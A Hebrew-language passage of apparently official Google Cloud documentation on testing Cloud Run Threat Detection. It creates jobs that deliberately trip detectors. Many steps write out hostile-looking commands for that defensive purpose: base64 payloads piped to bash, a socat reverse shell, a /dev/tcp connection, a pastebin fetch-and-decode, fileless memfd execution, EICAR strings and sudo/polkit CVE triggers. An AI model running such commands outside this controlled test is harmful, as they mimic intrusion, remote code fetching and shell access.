בדף הזה מוסבר איך לוודא שהתכונה 'זיהוי איומים ב-Cloud Run' פועלת. לשם כך, צריך להפעיל גלאים בכוונה ולבדוק אם נמצאו ממצאים. התכונה 'זיהוי איומים ב-Cloud Run' היא שירות מובנה של Security Command Center.
לפני שמתחילים
כדי לזהות איומים פוטנציאליים על השירותים והמשימות שלכם ב-Cloud Run, צריך לוודא ששירות זיהוי האיומים ב-Cloud Run מופעל ב-Security Command Center. חלק מהגלאים מושבתים כברירת מחדל. כדי לבדוק את אמצעי הזיהוי האלה, צריך קודם להפעיל אותם.
הגדרה של משתני סביבה
כדי לבדוק את אמצעי הזיהוי, משתמשים במסוף Google Cloud וב-Cloud Shell. אתם יכולים להגדיר משתני סביבה ב-Cloud Shell כדי להפעיל פקודות בצורה נוחה יותר. תשתמשו במשתנים האלה כדי לבדוק את כל אמצעי הזיהוי.
עוברים אל Google Cloud המסוף.
בוחרים את הפרויקט שמכיל את משימת Cloud Run שרוצים להשתמש בה לבדיקה.
לוחצים על הפעלת Cloud Shell.
ב-Cloud Shell, מגדירים את משתני הסביבה:
מגדירים את הפרויקט והאזור שבהם ייצרו משימות בדיקה.
export PROJECT=PROJECT_ID export REGION=REGION
אחרי שמגדירים את משתני הסביבה, אפשר להמשיך לפעול לפי ההוראות לבדיקת אמצעי הגילוי.
Command and Control: Steganography Tool Detected
כדי להפעיל ממצא של Command and Control: Steganography Tool Detected (תצוגה מקדימה), מריצים קובץ בינארי עם יכולות מניפולציה של קבצים, בהתאם לכלים של סטגנוגרפיה בתוך מאגר. בדוגמה הזו, מעתיקים את /bin/ls ומשנים את השם שלו ל-steghide.
יוצרים ומריצים את עבודת Cloud Run:
JOB_NAME="crtd-test-steganography-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/steghide; sleep 60; /tmp/steghide; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
הליך הבדיקה הזה יוצר ממצא Command and Control: Steganography Tool
Detected.
גישה לפרטי כניסה: מציאת Google Cloud פרטי כניסה
כדי להפעיל Credential Access: Find Google Cloud Credentials ממצא, מריצים קובץ בינארי שיכול לחפש תוכן של קובץ בתוך קונטיינר. בדוגמה הזו, הפקודה מעתיקה את /bin/ls, משנה את השם שלו ל-grep ומבצעת אותו עם ארגומנטים חשודים.
יוצרים ומריצים את עבודת Cloud Run:
JOB_NAME="crtd-test-find-creds-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/grep; sleep 60; /tmp/grep GOOGLE_APPLICATION_CREDENTIALS; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
תהליך הבדיקה הזה יוצר Credential Access: Find Google Cloud Credentials
ממצא.
גישה לפרטי כניסה: מודיעין על מפתח GPG
כדי להפעיל ממצא Credential Access: GPG Key Reconnaissance, מריצים כלי חיפוש עם ארגומנטים חשודים.
יוצרים ומריצים את עבודת Cloud Run:
JOB_NAME="crtd-test-gpg-key-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/find; sleep 60; /tmp/find secring.gpg; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
תהליך הבדיקה הזה יוצר Credential Access: GPG Key Reconnaissance
ממצא.
גישה לפרטי כניסה: חיפוש מפתחות פרטיים או סיסמאות
כדי להפעיל ממצא של Credential Access: Search Private Keys or Passwords, מריצים כלי חיפוש עם ארגומנטים חשודים.
יוצרים ומריצים את עבודת Cloud Run:
JOB_NAME="crtd-test-search-keys-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/find; sleep 60; /tmp/find id_rsa; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
הליך הבדיקה הזה יוצר ממצא Credential Access: Search Private Keys or
Passwords.
התחמקות מהגנה: שורת פקודה של קובץ ELF בפורמט Base64
כדי להפעיל Defense Evasion: Base64 ELF File Command Line ממצא, מריצים את הפקודה base64 עם ארגומנטים של כותרת ELF מקודדים.
יוצרים ומריצים את עבודת Cloud Run:
JOB_NAME="crtd-test-base64-elf-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; base64 -d f0VMRgIB; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
תהליך הבדיקה הזה אמור ליצור שתי Defense Evasion: Base64 ELF File Command Line
מסקנות.
התחמקות מהגנה: סקריפט Python שעבר קידוד Base64 הופעל
כדי להפעיל ממצא Defense Evasion: Base64 Encoded Python Script Executed, מריצים את echo עם פקודת Python מוצפנת.
יוצרים ומריצים את עבודת Cloud Run:
JOB_NAME="crtd-test-base64-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","sleep 60; base64 aW1wb3J0IH; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
תהליך הבדיקה הזה יוצר Defense Evasion: Base64 Encoded Python Script Executed
ממצא.
התחמקות מהגנה: סקריפט מעטפת בקידוד Base64 הופעל
כדי להפעיל ממצא Defense Evasion: Base64 Encoded Shell Script Executed, מריצים את הפקודה echo עם פקודת מעטפת מקודדת.
יוצרים ומריצים את עבודת Cloud Run:
JOB_NAME="crtd-test-base64-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","sleep 60; base64 IyEvYmluL3NoC; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
תהליך הבדיקה הזה יוצר Defense Evasion: Base64 Encoded Shell Script Executed
ממצא.
התחמקות מהגנה: הפעלת כלי קומפילציה של קוד במאגר
כדי להפעיל ממצא Defense Evasion: Launch Code Compiler Tool In Container
(תצוגה מקדימה), מריצים כלי של קומפיילר.
יוצרים ומריצים את עבודת Cloud Run:
JOB_NAME="crtd-test-launch-compiler-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/gcc10; sleep 60; /tmp/gcc10 -o /tmp/gcc10.o; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
הליך הבדיקה הזה יוצר ממצא Defense Evasion: Launch Code Compiler Tool
In Container.
הפעלה: נוסף קובץ בינארי זדוני שהופעל
כדי להפעיל הרצה: מוסיפים ממצא מסוג Added Malicious Binary Executed (נוסף קובץ בינארי זדוני שהופעל), מוסיפים קובץ בינארי זדוני (EICAR) למאגר ומריצים אותו.
יוצרים ומריצים את עבודת Cloud Run:
JOB_NAME="crtd-test-added-malicious-bin-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; sleep 60; /tmp/test_mal_file; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
הליך הבדיקה הזה יוצר ממצא מסוג Execution: Added Malicious Binary Executed.
ביצוע: נוספה טעינה של ספרייה זדונית
כדי להפעיל הרצה: נוספה ממצאים של טעינת ספרייה זדונית, מוסיפים ספרייה זדונית במאגר ומטעינים אותה. בדוגמה הזו, מתבצע עדכון של הקובץ /tmp/test_mal_lib באמצעות ספרייה זדונית מדומה, ואז הספרייה נטענת באמצעות mmap. טעינת הספרייה של קובץ קיים היא בלתי צפויה כי הקובץ לא היה ב קובץ אימג' של קונטיינר המקורית, והספרייה היא קובץ בדיקה של EICAR, שמסווג כזדוני על ידי מודיעין איומי סייבר.
יוצרים ומריצים את עבודת Cloud Run:
JOB_NAME="crtd-test-add-malicious-lib-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
cat << 'EOF2' > JOB_NAME.sh
apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1
echo -n 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' > /tmp/test_mal_lib
cat << 'EOF' > /tmp/loader.c
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
int fd = open(argv[1], O_RDONLY);
if (fd == -1) return 1;
struct stat sb;
if (fstat(fd, &sb) == -1) return 1;
void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
if (addr == MAP_FAILED) return 1;
write(1, addr, sb.st_size);
munmap(addr, sb.st_size);
close(fd);
return 0;
}
EOF
gcc /tmp/loader.c -o /tmp/loader
sleep 30
/tmp/loader /tmp/test_mal_lib
sleep 10
EOF2
ENCODED_SCRIPT=$(base64 -w 0 JOB_NAME.sh)
rm -f JOB_NAME.sh
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","echo $ENCODED_SCRIPT | base64 -d | bash" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
הליך הבדיקה הזה יוצר ממצא מסוג Execution: Added Malicious Library Loaded.
ביצוע: פירצה בקונטיינר
כדי להפעיל את הממצא Execution: Container Escape, מריצים כלי שמדמה התנהגות של פירצה בקונטיינר.
יוצרים ומריצים את עבודת Cloud Run:
JOB_NAME="crtd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/botb-linux-amd64; sleep 60; /tmp/botb-linux-amd64 -autopwn; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
תהליך הבדיקה הזה יוצר ממצא מסוג Execution: Container Escape.
ביצוע: ביצוע ללא קבצים ב-/memfd:
כדי להפעיל Execution: Fileless Execution in /memfd: ממצא,
מריצים תהליך ממערכת הקבצים /memfd: בזיכרון באמצעות Python.
יוצרים ומריצים את עבודת Cloud Run:
JOB_NAME="crtd-test-fileless-memfd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
PYTHON_CODE=$(cat <<EOF
import os,sys
f = open('/bin/ls','rb')
execdata = f.read()
f.close()
fd = os.memfd_create('', 0)
fname = '/proc/self/fd/{}'.format(fd)
f = open(fname,'wb')
f.write(execdata)
f.close()
args = ['/bin']
os.execve(fname, args, os.environ)
EOF
)
B64_PAYLOAD=$(echo "$PYTHON_CODE" | base64 -w 0)
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image python:latest \
--command=bash \
--args="-c","sleep 60; echo $B64_PAYLOAD | base64 -d | python3 ; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
הליך הבדיקה הזה יוצר ממצא Execution: Fileless Execution in /memfd:
ביצוע: הפעלת כלי לתקיפת Kubernetes
כדי להפעיל ביצוע: ממצא של ביצוע כלי תקיפה ב-Kubernetes, מריצים תוכנית שתואמת לכלי תקיפה מוכר.
יוצרים ומריצים את עבודת Cloud Run:
JOB_NAME="crtd-test-k8s-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/amicontained; sleep 60; /tmp/amicontained; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
תהליך הבדיקה הזה יוצר ממצא מסוג Execution: Kubernetes Attack Tool Execution.
ביצוע: הפעלת כלי סיור מקומי
כדי להפעיל ממצא של Execution: Local Reconnaissance Tool Execution, מריצים תוכנה שתואמת לכלי סיור.
יוצרים ומריצים את עבודת Cloud Run:
JOB_NAME="crtd-test-local-recon-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/linenum.sh; sleep 60; /tmp/linenum.sh; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
תהליך הבדיקה הזה יוצר ממצא של ביצוע: כלי סיור מקומי.
ביצוע: קובץ בינארי זדוני שונה הופעל
כדי להפעיל את הממצא Execution: Modified Malicious Binary Executed, משנים קובץ בינארי כך שיתאים לחתימה זדונית ידועה (EICAR).
יוצרים ומריצים את עבודת Cloud Run:
JOB_NAME="crtd-test-mod-malicious-bin-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","echo -n '$eicar' > /etc/issue; chmod 700 /etc/issue; sleep 60; /etc/issue; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
תהליך הבדיקה הזה יוצר ממצא מסוג Execution: Modified Malicious Binary Executed (ביצוע: קובץ בינארי זדוני ששונה).
ביצוע: נטען ספרייה זדונית שעברה שינוי
כדי להפעיל את הממצא Execution: Modified Malicious Library Loaded, משנים קובץ קיים עם ספרייה זדונית במאגר ומטעינים אותו. בדוגמה הזו, מתבצע עדכון של הקובץ /etc/issue באמצעות ספרייה זדונית מדומה, ואז הספרייה נטענת באמצעות mmap. טעינת הספרייה של קובץ קיים היא לא צפויה כי הספרייה היא קובץ בדיקה של EICAR, שמסווג כזדוני על ידי מודיעין איומי סייבר.
יוצרים ומריצים את עבודת Cloud Run:
JOB_NAME="crtd-test-mod-malicious-lib-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
cat << 'EOF2' > JOB_NAME.sh
apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1
echo -n 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' > /etc/issue
cat << 'EOF' > /tmp/loader.c
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
int fd = open(argv[1], O_RDONLY);
if (fd == -1) return 1;
struct stat sb;
if (fstat(fd, &sb) == -1) return 1;
void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
if (addr == MAP_FAILED) return 1;
write(1, addr, sb.st_size);
munmap(addr, sb.st_size);
close(fd);
return 0;
}
EOF
gcc /tmp/loader.c -o /tmp/loader
sleep 30
/tmp/loader /etc/issue
sleep 10
EOF2
ENCODED_SCRIPT=$(base64 -w 0 JOB_NAME.sh)
rm -f JOB_NAME.sh
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","echo $ENCODED_SCRIPT | base64 -d | bash" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
תהליך הבדיקה הזה יוצר ממצא מסוג Execution: Modified Malicious Library Loaded (ביצוע: נטען ספרייה זדונית ששונתה).
Execution: Netcat Remote Code Execution In Container
כדי להפעיל אירוע Execution: Netcat Remote Code Execution In Container, מריצים את netcat עם ארגומנטים חשודים.
יוצרים ומריצים את עבודת Cloud Run:
JOB_NAME="crtd-test-netcat-rce-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","cp /bin/ls /tmp/nc; sleep 60; /tmp/nc -e; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
הליך הבדיקה הזה יוצר ממצא Execution: Netcat Remote Code Execution In
Container.
ביצוע: אפשרות להרצת פקודות שרירותיות דרך CUPS (CVE-2024-47177)
כדי להפעיל Execution: Possible Arbitrary Command Execution through CUPS (CVE-2024-47177)
ממצא, מריצים סקריפט שמדמה את ניצול הפרצה.
יוצרים ומריצים את עבודת Cloud Run:
JOB_NAME="crtd-test-cups-cve-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c",'sleep 60; cp /bin/bash /tmp/foomatic-rip; echo "#!/tmp/foomatic-rip" >> /tmp/test.sh; echo "sh -c echo hello" >> /tmp/test.sh; chmod +x /tmp/test.sh; /tmp/test.sh; sleep 10' \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
הליך הבדיקה הזה יוצר ממצא Execution: Possible Arbitrary Command Execution through CUPS (CVE-2024-47177)
ביצוע: זוהה ביצוע אפשרי של פקודה מרחוק
כדי להפעיל ממצא של Execution: Possible Remote Command Execution Detected
(תצוגה מקדימה), מריצים פקודה שמנסה ליצור חיבור מרחוק.
יוצרים ומריצים את עבודת Cloud Run:
JOB_NAME="crtd-test-remote-cmd-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","sleep 60; cp /bin/ls /tmp/touch; echo \"Hello\" | /tmp/touch >& /dev/tcp/8.8.8.8/53; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
הליך הבדיקה הזה יוצר ממצא Execution: Possible Remote Command
Execution Detected.
ביצוע: הפעלת תוכנית עם סביבת Proxy ל-HTTP לא מורשית
כדי להפעיל את הממצא Execution: Program Run with Disallowed HTTP Proxy Env, מריצים תוכנית עם משתנה סביבה של פרוקסי לא תקין.
יוצרים ומריצים את עבודת Cloud Run:
JOB_NAME="crtd-test-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; cp /bin/ls /tmp/curl; HTTP_PROXY=127.0.0.1:8080 /tmp/curl; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
הליך הבדיקה הזה יוצר ממצא Execution: Program Run with Disallowed
HTTP Proxy Env.
ביצוע: זוהה reverse shell של Socat
כדי להפעיל ממצא Execution: Socat Reverse Shell Detected, צריך ליצור מעטפת הפוכה באמצעות כלי השירות socat.
יוצרים ומריצים את עבודת Cloud Run:
JOB_NAME="crtd-test-socat-rev-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
RAW_SOCAT="timeout 10s /usr/bin/socat TCP-LISTEN:4444,reuseaddr,fork STDOUT & sleep 5 && timeout 5s /usr/bin/socat TCP:127.0.0.1:4444 EXEC:/bin/bash,pty,stderr || true"
B64_SOCAT=$(echo -n "$RAW_SOCAT" | base64 | tr -d '\n\r ')
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args="-c","sleep 60; apt-get update -qq && apt-get install socat -y -qq && echo $B64_SOCAT | base64 -d | bash" \
--execute-now \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
הליך הבדיקה הזה יוצר ממצא Execution: Socat Reverse Shell Detected
ביצוע: נטען אובייקט משותף חשוד של OpenSSL
כדי להפעיל Execution: Suspicious OpenSSL Shared Object Loadedממצא,
מריצים את openssl עם ספרייה חשודה.
יוצרים ומריצים את עבודת Cloud Run:
JOB_NAME="crtd-test-openssl-so-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; cp /bin/ls /tmp/openssl; /tmp/openssl engine /tmp/fakelib.so; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
הליך הבדיקה הזה יוצר ממצא Execution: Suspicious OpenSSL Shared Object Loaded
העברה לא מורשית של נתונים: הפעלת כלים להעתקת קבצים מרחוק בקונטיינר
כדי להפעיל איתור, מריצים כלי להעתקה מרחוק.Exfiltration: Launch Remote File Copy Tools In Container
יוצרים ומריצים את עבודת Cloud Run:
JOB_NAME="crtd-test-remote-copy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; cp /bin/ls /tmp/rsync; /tmp/rsync; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
הליך הבדיקה הזה יוצר ממצא Exfiltration: Launch Remote File Copy Tools
In Container.
השפעה: זיהוי של שורות פקודה זדוניות
כדי להפעיל ממצא Impact: Detect Malicious Cmdlines (תצוגה מקדימה), מריצים שם פקודה חשוד (IPFS).
יוצרים ומריצים את עבודת Cloud Run:
JOB_NAME="crtd-test-malicious-cmd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; cp /bin/ls /tmp/ipfs; /tmp/ipfs; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
הליך הבדיקה הזה יוצר ממצא Impact: Detect Malicious Cmdlines
השפעה: הסרת נתונים בכמות גדולה מהדיסק
כדי להפעיל ממצא של Impact: Remove Bulk Data From Disk, מריצים כלי כמו shred.
יוצרים ומריצים את עבודת Cloud Run:
JOB_NAME="crtd-test-remove-bulk-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; cp /bin/ls /tmp/shred; /tmp/shred; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
הליך הבדיקה הזה יוצר ממצא Impact: Remove Bulk Data From Disk
השפעה: פעילות חשודה של כריית מטבעות קריפטוגרפיים באמצעות פרוטוקול Stratum
כדי להפעיל ממצא Impact: Suspicious cryptocurrency mining activity using the Stratum
Protocol, מריצים קובץ בינארי עם ארגומנטים שדומים לאלה שמשמשים תוכנה לכריית מטבעות קריפטוגרפיים שמתקשרת באמצעות פרוטוקול Stratum.
יוצרים ומריצים את עבודת Cloud Run:
JOB_NAME="crtd-test-stratum-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","sleep 60; cp /bin/ls /tmp/curl; /tmp/curl --url=stratum+tcp; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
הליך הבדיקה הזה יוצר ממצא Impact: Suspicious cryptocurrency mining activity
using the Stratum Protocol.
הופעל סקריפט זדוני
כדי להפעיל ממצא מסוג Malicious Script Executed (הופעל סקריפט זדוני), מריצים סקריפט שמדמה התנהגות זדונית.
יוצרים ומריצים את עבודת Cloud Run:
JOB_NAME="crtd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; sh -c \"(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d\"; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
תהליך הבדיקה הזה יוצר ממצא מסוג Malicious Script Executed (הופעל סקריפט זדוני).
זוהתה כתובת URL זדונית
כדי להפעיל ממצא מסוג Malicious URL Observed (זוהתה כתובת URL זדונית), מריצים קובץ בינארי ומספקים כתובת URL זדונית כארגומנט.
יוצרים ומריצים את עבודת Cloud Run:
JOB_NAME="crtd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; apt-get update && apt-get install curl -y && curl https://testsafebrowsing.appspot.com/s/malware.html | cat; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
הליך הבדיקה הזה מפעיל את הממצא Malicious URL Observed (זוהתה כתובת URL זדונית).
הסלמת הרשאות: ניצול לרעה של Sudo להסלמת הרשאות (CVE-2019-14287)
כדי להפעיל ממצא Privilege Escalation: Abuse of Sudo For Privilege Escalation (CVE-2019-14287), מריצים את קובץ ההפעלה הבינארי sudo עם הפרמטר -u#-1.
יוצרים ומריצים את עבודת Cloud Run:
JOB_NAME="crtd-test-abuse-sudo-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; cp /bin/ls /tmp/sudo; /tmp/sudo -u#-1; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
תהליך הבדיקה הזה יוצר Privilege Escalation: Abuse of Sudo For Privilege Escalation (CVE-2019-14287)
ממצא.
הסלמת הרשאות: פוטנציאל להסלמת הרשאות ב-Sudo (CVE-2021-3156)
כדי להפעיל Privilege Escalation: Sudo Potential Privilege Escalation (CVE-2021-3156) ממצא, מריצים את קובץ ה-binary sudo עם הפרמטר -s ופרמטר שמסתיים ב-``.
יוצרים ומריצים את עבודת Cloud Run:
JOB_NAME="crtd-test-sudo-potential-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c",'sleep 60; cp /bin/ls /tmp/sudo; su $(id -un 1000) -c "/tmp/sudo -s \"123\\\\\"" ; sleep 10' \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
תהליך הבדיקה הזה יוצר Privilege Escalation: Sudo Potential Privilege Escalation (CVE-2021-3156)
ממצא.
הסלמת הרשאות (privilege escalation): נקודת חולשה של הסלמת הרשאות מקומיות ב-Polkit (CVE-2021-4034)
כדי להפעיל Privilege Escalation: Polkit Local Privilege Escalation Vulnerability (CVE-2021-4034)ממצא, מריצים קובץ בינארי של pkexec עם משתנה הסביבה GCONV_PATH שהוגדר כמשתמש לא-בסיסי.
יוצרים ומריצים את עבודת Cloud Run:
JOB_NAME="crtd-test-polkit-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c",'sleep 60; cp /bin/ls /tmp/pkexec; su $(id -un 1000) -c "GCONV_PATH=junk /tmp/pkexec;"; sleep 10' \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
תהליך הבדיקה הזה יוצר Privilege Escalation: Polkit Local Privilege Escalation Vulnerability (CVE-2021-4034)
ממצא.
Reverse Shell
כדי להפעיל את האיתור של Reverse Shell, מפעילים קובץ בינארי עם stdin הפניה ל-socket שמחובר ל-TCP.
יוצרים ומריצים את עבודת Cloud Run:
JOB_NAME="crtd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
